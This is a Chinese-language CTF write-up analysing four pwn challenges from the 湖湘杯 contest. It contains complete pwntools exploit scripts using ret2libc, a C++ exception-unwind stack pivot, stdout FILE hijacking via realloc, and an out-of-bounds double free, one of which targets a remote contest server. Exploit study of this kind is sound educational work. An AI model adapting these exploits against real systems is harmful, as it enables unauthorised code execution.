上周末打了打湖湘杯,还是太菜了
0x1.pwn1-pwn_printf
检查保护
IDA分析
打开的一瞬间确实有些裂开,不过仔细分析后其实不算难
程序的初始化完成之后会循环读入16个数值,然后通过sprtinf函数往0x6000000
写入各个变量的值
puts("What the f**k printf?\n");
puts("Try to input something");
puts("You will find this game very interesting");
for ( i = 0; i <= 15; ++i )
__isoc99_scanf("%d", (char *)dest + 8 * i + 0xE000);
v16 = 0;
while ( (char *)dest + 0xFFFE != format )
{
sprintf(
(char *)0x6000000,
format,
v13,
0LL,
&format,
0x6000000LL,
*v12,
v12,
&v12,
v11,
&v11,
v10,
&v10,
v9,
&v9,
v8,
&v8,
v7,
&v7,
v6,
&v6,
v5,
&v5,
v4,
&v4);
++v16;
}
if ( *v12 <= 0x20u )
sub_4007C6(*v12);
else
puts("Please try again and you will get it");
puts("Sorry you are out");
注意到后面会判断v12
的值是否小于等于0x20
,如果成立则进入sub_4007C6
这个函数,看看sub_4007C6
函数
ssize_t __fastcall sub_4007C6(unsigned __int16 a1)
{
__int64 savedregs; // [rsp+10h] [rbp+0h] BYREF
return read(0, &savedregs, 2 * a1);
}
相当于一个后门函数,给了我们一个能够溢出的函数,而且输入直接从rbp
开始,read函数能够读入的字节数为v12的值。
我们看看v12从何而来
dest = mmap((void *)0x4000000, 0x4000000uLL, 3, 34, -1, 0LL);
....................
v12 = (unsigned __int16 *)dest;
for ( i = 0; i <= 15; ++i )
__isoc99_scanf("%d", (char *)dest + 8 * i + 0xE000);
程序在0x4000000
处映射了一块内存,dest的值即为0x4000000
,然后将0x4000000
赋值给v12,循环读入的地址为(char *)dest + 8 * i + 0xE000
,也就是0x4000000+i*8+0xE000
,看起来没有地方能够修改v12的地方,但注意到
v12是第9个参数
并且经过调试,在sprintf函数传参时,其参数也是我们scanf输入的地址
因此可以确定v12是scanf输入的第9个数字,我们输入第九个数字为32,也就是进入后门函数的所能允许的最大数值
进入栈溢出之后就是常规的ret2libc了,通过puts泄露出libc地址,然后返回到后门函数,调用system(‘/bin/sh’)即可
exp如下
from pwn import *
from LibcSearcher import *
context.log_level='debug'
io=process('./pwn_printf')
elf=ELF('./pwn_printf')
libc=ELF('./libc-2.23_x64.so')
io.recvuntil('You will find this game very interesting\n')
for i in range(8):
io.sendline('1')
sleep(0.1)
io.sendline('32')
sleep(0.1)
for i in range(6):
io.sendline('1')
sleep(0.1)
payload='A'*9+p64(0x0000000000401213)+p64(elf.got['__libc_start_main'])+p64(elf.plt['puts'])+p64(0x0000000000401213)+p64(0x100)+p64(0x4007c6)
#gdb.attach(io)
io.send(payload)
__libc_start_main_addr=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
libc_base=__libc_start_main_addr-libc.symbols['__libc_start_main']-0x10
system_addr=libc_base+0x453a0
bin_sh_addr=libc_base+0x18ce17
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('bin_sh_addr => {}'.format(hex(bin_sh_addr)))
payload='A'*8+p64(0x0000000000401213)+p64(bin_sh_addr)+p64(system_addr)+p64(0xdeadbeef)
io.send(payload)
io.interactive()
0x2.pwn2-blend_pwn
检查保护
保护全开,IDA分析
void __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
sub_DC0();
sub_10E3();
while ( 1 )
{
while ( 1 )
{
menu();
v3 = sub_EA2(a1, a2);
if ( v3 != 3 )
break;
dele();
}
if ( v3 > 3 )
{
if ( v3 == 5 )
{
printf("Quit successfully");
exit(0);
}
if ( v3 < 5 )
{
show_note();
}
else if ( v3 == 666 )
{
a1 = (__int64)"It must be a gift";
puts("It must be a gift");
gift();
}
else
{
LABEL_17:
a1 = (__int64)"Your input seems to be wrong!";
printf("Your input seems to be wrong!");
}
}
else if ( v3 == 1 )
{
a1 = (__int64)"Current user:";
printf("Current user:");
show_name();
}
else
{
if ( v3 != 2 )
goto LABEL_17;
add();
}
}
}
除了增删查改四个功能以外还有一个gift功能
可以溢出到rbp,然后如果输入的数值长度超过0x10就会有一个C++的异常处理机制,抛出一个错误
再看到别的功能
1.show_name
int show_name()
{
return printf(byte_202080);
}
存在格式化字符串漏洞
0x202080
处的值来源于程序开头的一个函数
__int64 sub_10E3()
{
printf("Please enter a name: ");
return read_str(byte_202080, 4);
}
read_str
存在off-by-one,可以多输入一个字符
2.new_note
__int64 add()
{
int v0; // ebx
if ( dword_2020A0 < 0 || dword_2020A0 > 1 )
{
puts("Insufficient space");
exit(0);
}
v0 = dword_2020A0;
*((_QWORD *)&unk_202090 + v0) = malloc(0x60uLL);
puts("input note:");
read_str(*((_BYTE **)&unk_202090 + dword_2020A0), 0x60);
puts("down!");
return (unsigned int)++dword_2020A0;
}
只能申请两次,然后分配一个0x60的chunk
3.del_note
__int64 __fastcall dele(__int64 a1, __int64 a2)
{
int v3; // [rsp+Ch] [rbp-4h]
printf("index>");
v3 = sub_EA2("index>", a2);
if ( v3 < 0 || v3 > 1 )
{
puts("Insufficient space");
exit(0);
}
if ( *((_QWORD *)&unk_202090 + v3) )
{
free(*((void **)&unk_202090 + v3));
puts("down!");
}
else
{
puts("fail!");
}
return 0LL;
}
存在uaf,但实际上无法利用,因为总共只能分配两个chunk,只能用来泄露堆地址
4.show_note
int show_note()
{
__int64 v0; // rax
int i; // [rsp+Ch] [rbp-4h]
for ( i = 0; i <= 1; ++i )
{
v0 = *((_QWORD *)&unk_202090 + i);
if ( v0 )
LODWORD(v0) = printf("index %d:%s\n", (unsigned int)(i + 1), *((const char **)&unk_202090 + i));
}
return v0;
}
打印所有chunk的内容
综合下来,程序总共有两个漏洞,gift功能中的一个栈溢出(可以溢出到rbp),还有del功能中的一个uaf
我在ctf-all-in-one这本书里看到过一题,利用的就是c++的异常处理机制,所以看到这道题就猜测可能和c++的异常处理机制有关,可惜不知道从何利用,太菜了,还是因为ex师傅和r4bbit师傅提点才明白了怎么做。
实际上这题可以不用堆的相关操作,因为涉及到C++的异常处理机制,有些复杂,这里长话短说,实际上是因为我也没太懂,在异常被抛出捕获且正确处理后,为了所有生命期已结束的对象都会被正确地析构,它们所占用的空间会被正确地回收,会触发栈回退(Stack Unwind)机制。栈回退机制会重建函数调用现场,rbp自然属于函数调用的一部分,在gift功能中我们能够溢出到rbp,于是我们可以伪造rbp,当异常处理完毕后就会恢复函数现场,调用leave ret
,实现栈迁移,栈就会恢复到我们伪造的rbp处。
exp如下
from pwn import *
context.log_level='debug'
io = remote('47.111.104.99', 52504)
#io=process('./blend_pwn')
elf=ELF('./blend_pwn')
def show_name():
io.recvuntil('Enter your choice >')
io.sendline('1')
def add(content):
io.recvuntil('Enter your choice >')
io.sendline('2')
io.recvuntil('input note:\n')
io.sendline(content)
def dele(index):
io.recvuntil('Enter your choice >')
io.sendline('3')
io.recvuntil('index>')
io.sendline(str(index))
def show_note():
io.recvuntil('Enter your choice >')
io.sendline('4')
def gift(content):
io.recvuntil('Enter your choice >')
io.sendline('666')
io.recvuntil('Please input what you want:')
io.sendline(content)
io.recvuntil('Please enter a name: ')
io.sendline('%lx')
show_name()
io.recvuntil('Current user:')
stack=int(io.recv(12),16)
log.success('stack => {}'.format(hex(stack)))
payload='A'*0x10+'B'*0x10+p64(stack+0x26c0)+'c%7$lx'
gift(payload)
show_name()
io.recvuntil('Current user:')
pro_base=int(io.recv(12),16)-0x1266
log.success('pro_base => {}'.format(hex(pro_base)))
payload='A'*0x10+'B'*0x10+p64(stack+0x26d8)+'c%2$lx'
gift(payload)
show_name()
io.recvuntil('Current user:')
libc_base = int(io.recvline(), 16)-0x3c6780
log.success('libc_base => {}'.format(hex(libc_base)))
onegadget=libc_base+0x4527a
payload=p64(onegadget)+'A'*8+'B'*0x10+p64(stack + 0x26d8 - 0x110)+'csh'
#gdb.attach(io)
gift(payload)
io.interactive()
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf0364 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1207 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
整体就是通过printf泄露libc地址,然后将rbp伪造成main函数的rbp就能够重新执行程序。
0x3.only_add
保护全开
一共俩功能,add功能如下
int add()
{
int v1; // [rsp+Ch] [rbp-4h]
puts("Size:");
v1 = sub_A01();
if ( v1 < 0 || v1 > 0x500 )
sub_9A5();
buf = realloc(buf, v1);
if ( buf && v1 )
{
puts("Data:");
read(0, buf, v1 + 1);
}
return puts("Done!");
}
通过realloc申请最大0x500的chunk,并且存在off-by-one
,并且当前只能存在一个chunk
第二个功能如下
__int64 sub_9BF()
{
__int64 result; // rax
result = (unsigned int)dword_202010;
if ( dword_202010 == 1 )
{
puts("Bye");
buf = 0LL;
close(1);
result = (unsigned int)--dword_202010;
}
return result;
}
清除buf,即清除堆地址,然后关闭标准输出。
realloc函数根据不同的情况有不同的功能
realloc(ptr,size)
1.ptr == 0 : malloc(size)
2.ptr != 0 && size == 0 : free(ptr)
3.ptr != 0 && size == old_size : edit(ptr)
3.ptr != 0 && size < old_size : edit(ptr) and free(remainder)
4.ptr != 0 && size > old_size : malloc(size);strcpy(new_ptr,ptr);free(ptr);return new_ptr
这题改堆风水改到头疼,先贴上exp吧,1/16的几率
from pwn import *
from time import sleep
context.log_level = 'debug'
elf = ELF('./pwn3')
libc = ELF('./libc.so.6')
def add(size, content):
io.recvuntil('choice:')
io.sendline('1')
io.recvuntil('Size:\n')
io.sendline(str(size))
io.recvuntil('Data:')
io.send(content)
def add_no(size,content):
io.sendline('1')
sleep(0.1)
io.sendline(str(size))
sleep(0.1)
io.send(content)
sleep(0.1)
def free():
io.recvuntil('choice:')
io.sendline('1')
io.recvuntil('Size:\n')
io.sendline(str(0))
def free_no():
io.sendline('1')
sleep(0.1)
io.sendline(str(0))
sleep(0.1)
def init():
io.recvuntil('choice:')
io.sendline('2')
def pwn():
add(0x18, 'a')
free()
add(0x488, 'b')
add(0x418, 'a')
free()
add(0x4a8, 'a')
add(0x438, 'a')
free()
add(0x418, 'a')
free()
add(0x18, 'a'*0x18+p8(0x91))
free()
add(0x488, 'a')
free()
add(0x58, 'a')
add(0x418, 'a')
free()
add(0x68, 'a')
add(0x88, 'a')
free()
add(0x3e0, 'a')
free()
add(0x98, 'a'*0x28+p64(0x71)+p16(0x5760))
free()
add(0x68, p16(0x5760))
add(0x410, 'a')
free()
add(0x68, p64(0xfbad1887)+p64(0)*3+p8(0))
libc_base = u64(io.recvuntil('\x7f', timeout=0.1)
[-6:].ljust(8, '\x00'))-0x3ed8b0
if libc_base == -0x3ed8b0:
io.close()
else:
system_addr = libc_base+libc.symbols['system']
free_hook = libc_base+libc.symbols['__free_hook']
log.success('libc_base => {}'.format(hex(libc_base)))
log.success('system_addr => {}'.format(hex(system_addr)))
log.success('free_hook => {}'.format(hex(free_hook)))
init()
add_no(0x78,p64(0)*8)
free_no()
add_no(0xd8,'a')
free_no()
add_no(0xb8,p8(0x1)*0xb8+p8(0xf1))
free_no()
add_no(0x218,p64(0)*31*2+p64(0)+p64(0x90)+p64(free_hook-8))
free_no()
add_no(0x88,p64(free_hook-8))
add_no(0x58,'a')
free_no()
add_no(0x88,'/bin/sh\x00'+p64(system_addr))
free_no()
io.sendline('exec 1>&2')
#gdb.attach(io)
io.interactive()
if __name__ == "__main__":
global io
while True:
try:
io = process('./pwn3')
pwn()
except:
io.close()
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rsp & 0xf == 0
rcx == NULL
0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL
0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
就不一步步调了。。。再调就裂开了,讲讲整体思路吧
首先没有libc地址,肯定得泄露libc地址的,也没有show,自然得通过改stdout
结构体来泄露libc地址,这样我们就需要将main_arena
地址落到某个tcache
的fd
位上,然后修改其后四位以此来申请到stdout
结构体。如何获得main_arena
地址呢,这题也没有free
函数,这就需要利用到realloc
的free功能了,我们先申请一个大chunk,比如0x448
大小的,然后继续申请0x418
大小的,由于realloc
的指针没变,所以直接在原0x448
大小的chunk
上切割下来一块0x420
大小的chunk
,剩下的0x30
的chunk
就会被free
掉丢入tcache
中,接着我们再申请0字节大小的chunk
,也就是realloc(ptr,0)
,这就相当于free
功能,这样这块0x420
大小的chunk
就会被丢入unsorted bin
中,main_arena
地址到手。
有了main_arena
地址地址,我们还需要构造堆重叠,这样我们才可以修改tcache的fd,如何构造出堆重叠?自然就需要off-by-one
功能了,我们通过unsorted bin
上方的一个chunk
来改大unsorted bin
的size,把它物理高地址的一个tcache
给包进来,然后把这个修改之后的大chunk
给申请过来就可以了,这样我们就获得了一个一个还在free
状态的tcache
,然后通过一次次申请chunk,把main_arena放到tcache的fd中,再修改其fd的后四位为_IO_2_1_STDOUT_
结构体地址的后四位。
修改fd成功之后会变成如下状态
这个时候我们再add
一次0x68
的chunk
,0x70
这条链的tcache就只剩下stdout
了,但我们想要申请一个新的chunk
,就需要先free掉上一个chunk,如果我们直接free掉我们刚刚申请的那个0x70的chunk,0x70的tcache就又会变成两个,这样只能眼巴巴地看着stdout。
但如果我们将我们刚刚申请的chunk减小,也就是利用realloc的切割功能,把它从0x70切割成0x50或者别的值,free之后这个chunk就会链到别的大小的tcache中,这时我们再申请chunk就能申请到stdout了。
修改完stdout之后,我们再申请新chunk之前需要使用功能二,清空buf,否则dele stdout会报错。
之后就是重复上面的步骤,将chunk分配到free_hook-8
,将free_hook-8
修改为/bin/sh\x00
,将free_hook
修改为system
,然后free即可。
再就是由于功能二关闭了标准输出,所以在拿到shell之后我们需要将标准输出重定位到标准输入
讲的可能有些不清楚,调一遍应该能清楚很多了。
0x4.easyheap
保护全开
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
__int64 savedregs; // [rsp+20h] [rbp+0h] BYREF
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
welcome();
while ( 1 )
{
menu();
read(0, buf, 8uLL);
atoi(buf);
switch ( (unsigned int)&savedregs )
{
case 1u:
create();
break;
case 2u:
show();
break;
case 3u:
edit();
break;
case 4u:
del();
break;
case 5u:
exit(0);
default:
puts("Invalid choice");
break;
}
}
}
增删查改都有
问题出在show和dele功能
signed __int64 show()
{
signed __int64 result; // rax
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("index?");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( note[v1] )
{
puts((const char *)note[v1]);
puts("Done");
result = 0LL;
}
else
{
puts("Invalid idx");
result = 1LL;
}
return result;
}
show功能存在越界读,可以泄露libc地址和程序加载基地址
signed __int64 del()
{
signed __int64 result; // rax
int v1; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("index?");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( note[v1] )
{
free((void *)note[v1]);
note[v1] = 0LL;
result = 0LL;
}
else
{
puts("Invalid idx");
result = 1LL;
}
return result;
}
dele功能存在越界删除
int edit()
{
int result; // eax
unsigned int v1; // [rsp+8h] [rbp-18h]
unsigned int v2; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
puts("index?");
read(0, buf, 8uLL);
v1 = atoi(buf);
if ( v1 <= 0x20 && note[v1] )
{
puts("Size:");
read(0, buf, 8uLL);
v2 = atoi(buf);
if ( v2 <= 0xF8 )
{
puts("Content:");
safe_read((char *)note[v1], v2);
result = puts("Done");
}
else
{
puts("Invalid size");
result = 1;
}
}
else
{
puts("Invalid idx");
result = 0;
}
return result;
}
edit功能中存在一个off-by-null
,但实际上没有用,只是迷惑作用
整体思路如下:我们先通过越界读泄露出libc基地址和程序加载基地址,然后再泄露堆地址,获取一个chunk的地址。然后先free掉一个chunk,然后将这个被free的chunk的地址写到另一个chunk中(其实也不用写,free成链之后chunk中自然就留下了另一个chunk的地址),如下
然后,由于我们泄露出了程序加载基地址,我们就能够算出堆地址存储的真实地址,然后用(0x55a36bccf360
-堆地址存储的真实地址)/8得到其相应的index,再通过dele功能进行删除,就能够造成double free
,exp如下
from pwn import *
context.log_level='debug'
io=process('./babyheap')
elf=ELF('./babyheap')
libc=ELF('./libc.so.6')
def add():
io.recvuntil('>>')
io.sendline('1')
def show(index):
io.recvuntil('>>')
io.sendline('2')
io.recvuntil('index?\n')
io.sendline(str(index))
def edit(index,size,content):
io.recvuntil('>>')
io.sendline('3')
io.recvuntil('index?\n')
io.sendline(str(index))
io.recvuntil('Size:\n')
io.sendline(str(size))
io.recvuntil('Content:\n')
io.send(content)
def dele(index):
io.recvuntil('>>')
io.sendline('4')
io.recvuntil('index?\n')
io.sendline(str(index))
add()
show(-14)
libc_base=u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x3ec760
log.success('libc_base => {}'.format(hex(libc_base)))
free_hook=libc_base+libc.symbols['__free_hook']
system=libc_base+libc.symbols['system']
show(-7)
pro_base=u64(io.recv(6).ljust(8,'\x00'))-0x202008
heap_store=pro_base+0x202040
log.success('pro_base => {}'.format(hex(pro_base)))
log.success('heap_store => {}'.format(hex(heap_store)))
add()
dele(0)
dele(1)
add()
show(0)
heap_base=u64(io.recv(6).ljust(8,'\x00'))-0x260
log.success('heap_base => {}'.format(hex(heap_base)))
edit(0,0x10,p64(heap_base+0x260))
offset=(heap_base+0x260+0x100-heap_store)/8
dele(offset)
add()
edit(1,0x8,p64(free_hook))
add()
edit(2,0x10,'/bin/sh\x00')
add()
edit(3,0x8,p64(system))
dele(2)
#gdb.attach(io)
io.interactive()
0x5.总结
还是太菜了,要多的东西还有很多很多啊
参考文章